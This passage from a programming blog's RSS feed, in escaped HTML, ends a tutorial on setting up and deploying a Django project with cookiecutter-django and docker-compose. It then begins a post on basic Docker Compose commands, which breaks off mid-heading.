style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── static&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── templates&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── users&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   └── utils&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── pytest.ini&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── README.rst&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── requirements&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── base.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── local.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   └── production.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;└── setup.cfg&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;the-django-dockerfiles-in-cookiecutter&#34;&gt;The Django Dockerfiles in cookiecutter&lt;/h3&gt;&#xA;&lt;p&gt;The compose folder contains both development (local) and production (production) Dockerfiles. The development version has a single Dockerfile, while the production version contains one for Django, one for Postgres and one for Traefik.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── &lt;span style=&#34;color:#ff5c57&#34;&gt;local&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── django&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   └── docs&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;└── production&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ├── django&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ├── postgres&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    └── traefik&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;about-traefik&#34;&gt;About Traefik&lt;/h3&gt;&#xA;&lt;p&gt;Traefik is a load balancer and reverse proxy server (just like Nginx)m written primarily in the go programming language. With the configuration that Cookiecutter includes, Traefik will handle the traffic and also manage the SSL certificates for our website automatically, so you can forget about configuring a web server and leave the customizations for later.&lt;/p&gt;&#xA;&lt;h3 id=&#34;configuration-files&#34;&gt;Configuration files&lt;/h3&gt;&#xA;&lt;p&gt;Config contains the urls.py file of our project and the configuration files of the Django project, we have separate files for production and development, as well as a base file with the configuration in common.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── api_router.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── __init__.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── settings&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── base.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── __init__.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── local.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── production.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   └── test.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── urls.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;└── wsgi.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;translations&#34;&gt;Translations&lt;/h3&gt;&#xA;&lt;p&gt;Locale will be populated with the translation files of our Django project if we run the &lt;em&gt;python manage.py makemessages&lt;/em&gt; command.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;└── README.rst&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;our-project&#34;&gt;Our project&lt;/h3&gt;&#xA;&lt;p&gt;The folder with the name that we indicate for our project will have the static files, applications and templates on which we will work.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── conftest.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── contrib&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── __init__.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── static&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── templates&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── users&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;└── utils&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;requirements-in-python&#34;&gt;Requirements in Python&lt;/h3&gt;&#xA;&lt;p&gt;Requirements includes the files with the dependencies of our project. They are also separated according to their function, in base, local or production.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── base.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── local.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;└── production.txt&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;environment-variables&#34;&gt;Environment variables&lt;/h3&gt;&#xA;&lt;p&gt;There is also a secret folder named &lt;em&gt;.envs&lt;/em&gt;, which contains the environment variables to be used in the configuration files, both production and development.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── .local&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── .django&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   └── .postgres&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;└── .production&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ├── .django&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    └── .postgres&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It is necessary to change the .envs/.production/.django file to add our Mailgun configuration, and modify our admin address if we want to.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;DJANGO_SECRET_KEY&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;aqui_va_tu_secret_key&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;DJANGO_ADMIN_URL&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;tu_propia_url/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;DJANGO_ALLOWED_HOSTS&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;.midominio.com&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;DJANGO_SERVER_EMAIL&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;MAILGUN_API_KEY&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;MAILGUN_DOMAIN&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;development-with-docker-compose&#34;&gt;Development with docker compose&lt;/h2&gt;&#xA;&lt;p&gt;To start developing, we just need to pull up our docker-compose local.yml file.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose -f local.yml&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If everything went well we will have a server running on our port 8000.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/cookiecutter-django-for-configuring-and-deploying-in-django/images/DjangoCookiecutterLocal.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/cookiecutter-django-for-configuring-and-deploying-in-django/images/DjangoCookiecutterLocal.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;default cookiecutter-django application on local server&#34; width=&#34;822&#34; height=&#34;331&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Remember to run the migrations and create a super user.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose -f local.yml run --rm django python manage.py migrate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose -f local.yml run --rm django python manage.py createsuperuser&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Once you have done this you may want to start modifying your project folder.&lt;/p&gt;&#xA;&lt;h3 id=&#34;enabling-django-debug-toolbar-in-cookiecutter-django&#34;&gt;Enabling django-debug-toolbar in cookiecutter django&lt;/h3&gt;&#xA;&lt;p&gt;To activate the django-debug-toolbar let&amp;rsquo;s first enter our application by entering &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://127.0.0.1:8000&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;localhost&lt;/a&gt;&#xA;, now in our terminal we will see an IP address&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/cookiecutter-django-for-configuring-and-deploying-in-django/images/IpInternaDockerDjango.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/cookiecutter-django-for-configuring-and-deploying-in-django/images/IpInternaDockerDjango.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Internal Ip in console&#34; width=&#34;984&#34; height=&#34;58&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;This address will be placed in the INTERNAL_IPS variable in our configuration file &lt;em&gt;local.py&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# config/settings/local.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# https://django-debug-toolbar.readthedocs.io/en/latest/installation.html#internal-ips&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;INTERNAL_IPS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;127.0.0.1&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;10.0.2.2&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;172.26.0.1&amp;#34;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Done, now we have an active django-debug-toolbar&lt;/p&gt;&#xA;&lt;h3 id=&#34;check-processes-and-logs-in-the-services&#34;&gt;Check processes and logs in the services&lt;/h3&gt;&#xA;&lt;p&gt;Remember that, as in any docker container, we can access to its logs with &lt;em&gt;docker logs.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker logs servicio&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker top servicio&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In the same way your processes are available with the command &lt;em&gt;docker top&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker logs servicio&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker top servicio&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;fill-in-the-settings-values&#34;&gt;Fill in the settings values&lt;/h3&gt;&#xA;&lt;p&gt;Remember that for this example we do not use celery, flower, mailhog or aws, to keep the configuration simple. However, if you choose to use them when creating your project, each service would have its own ip to access; localhost:5555, for flower; localhost:8025, for mailhog.&lt;/p&gt;&#xA;&lt;p&gt;In addition, each service you have chosen will have environment or configuration variables (not included in this example) that will need to be specified for them to work properly.&lt;/p&gt;&#xA;&lt;h2 id=&#34;deploy-django-in-production-with-docker-compose-and-cookiecutter&#34;&gt;Deploy Django in production with docker compose and cookiecutter&lt;/h2&gt;&#xA;&lt;p&gt;To make a deploy the most complicated thing to understand is the structure of the project, which I explained above, once we have understood the function of each folder the deploy is quite simple.&lt;/p&gt;&#xA;&lt;p&gt;To start running our services in production mode just run the docker-compose command, specifying our file with the &lt;em&gt;-f&lt;/em&gt; option and the command, in this case &lt;em&gt;build&lt;/em&gt;, to compile the image.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose -f production.yml build&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now let&amp;rsquo;s lift the services and run them in detach mode, with the &lt;em&gt;-d&lt;/em&gt; option&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose -f production.yml up -d&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you need to make a migration remember that we use the run command with the name of our service and the command to execute.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose -f production.yml run --rm django python manage.py migrate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Keep in mind that you must create a super user as well.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose -f production.yml run --rm django python manage.py createsuperuser&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If something went wrong you can view the logs of all services using the command logs&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;docker-compose -f production.yml logs&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If you have no errors you will be able to access your website through your domain.&lt;/p&gt;&#xA;&lt;p&gt;The next step is to add our service to some process controller, so that it is immune to reboots, you can use runit, sysinit, supervisord or the hated systemd, each system is different and there are many preferences, so I will not delve into it here.&lt;/p&gt;&#xA;&lt;p&gt;Theoretically you can perform this procedure in any PAAS, such as &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/my-digital-ocean-review-analysis-and-my-experience-as-a-user/&#34;&gt;Digital Ocean&lt;/a&gt;&#xA;, Linode, etc. I have done the procedure using a Docker Droplet on Digital Ocean and it went fine. The author has instructions for other platforms that you can check at &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://cookiecutter-django.readthedocs.io/en/latest/index.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;the official cookiecutter-django documentation&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Visit my next post, where I talk &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/fastapi/fastapi-tutorial-the-best-python-framework/&#34;&gt;about one of the newest Python frameworks for creating APIs&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;I wrote the previous entries as an introduction for this week&amp;rsquo;s topic. In this post I&amp;rsquo;m going to explain about a cool tool for Django called cookiecutter-django. This tool for django allows you to generate projects that integrate docker, celery, mailhog, aws, gcp, and many other tools, in an automatic way, just by answering a series of questions.&lt;/p&gt;&#xA;&lt;p&gt;This tool uses docker to simplify the process of developing and deploying a Django application. It was also created by one of the writers of the great book Two scoops of Django, of which I have a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/the-best-django-book-two-scoops-of-django-review/&#34;&gt;review of Twoo scoops of django&lt;/a&gt;&#xA;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Get to know the basic Docker Compose commands</title>
      <link>https://coffeebytes.dev/en/docker/get-to-know-the-basic-docker-compose-commands/</link>
      <pubDate>Wed, 14 Oct 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/docker/get-to-know-the-basic-docker-compose-commands/</guid>
      
      <category>docker</category>
      
      <category>linux</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Docker compose allows us to create applications with multiple containers, these containers will interact and will be able to see each other. To configure each of these services we will use a file in YAML format (also called YML). In this docker compose tutorial I show you some of the most used docker compose commands and what each one does. If you want to review the basic Docker commands visit my &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/docker/the-most-useful-and-basic-docker-commands/&#34;&gt;basic Docker commands and usage&lt;/a&gt;&#xA; post.&lt;/p&gt;&#xA;&lt;h2 id=&#34;what-is-docker-compose&#34;&gt;What is docker compose?&lt;/h2&gt;&#xA;&lt;p&gt;Docker compose is a tool that allows you to manage applications consisting of multiple &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/docker/what-is-docker-and-what-is-it-for/&#34;&gt;Docker containers&lt;/a&gt;&#xA;. Instead of having multiple Dockerfiles and be running and linking one by one with Docker, we define a docker-compose.yml file with the configuration we want and run it, this will create all the necessary services of our application. It also works in development, production, staging or testing environments, as well as with continuous integration services.&lt;/p&gt;&#xA;&lt;p&gt;Docker-compose is programming using the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-programming-language-introduction-to-variables-and-data-types/&#34;&gt;go or golang programming language&lt;/a&gt;&#xA;; the same language that &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/docker/how-does-a-docker-container-work-internally/&#34;&gt;go containers use to run internally&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;Docker compose allows you to automate processes, and is used in such popular projects as &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/cookiecutter-django-for-configuring-and-deploying-in-django/&#34;&gt;cookiecutter-django&lt;/a&gt;&#xA; or any other modern API that don&amp;rsquo;t want to deal with the hassle of handling different environments.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;structure-of-a-docker-composeyml-file&#34;&gt;Structure of a docker-compose.yml 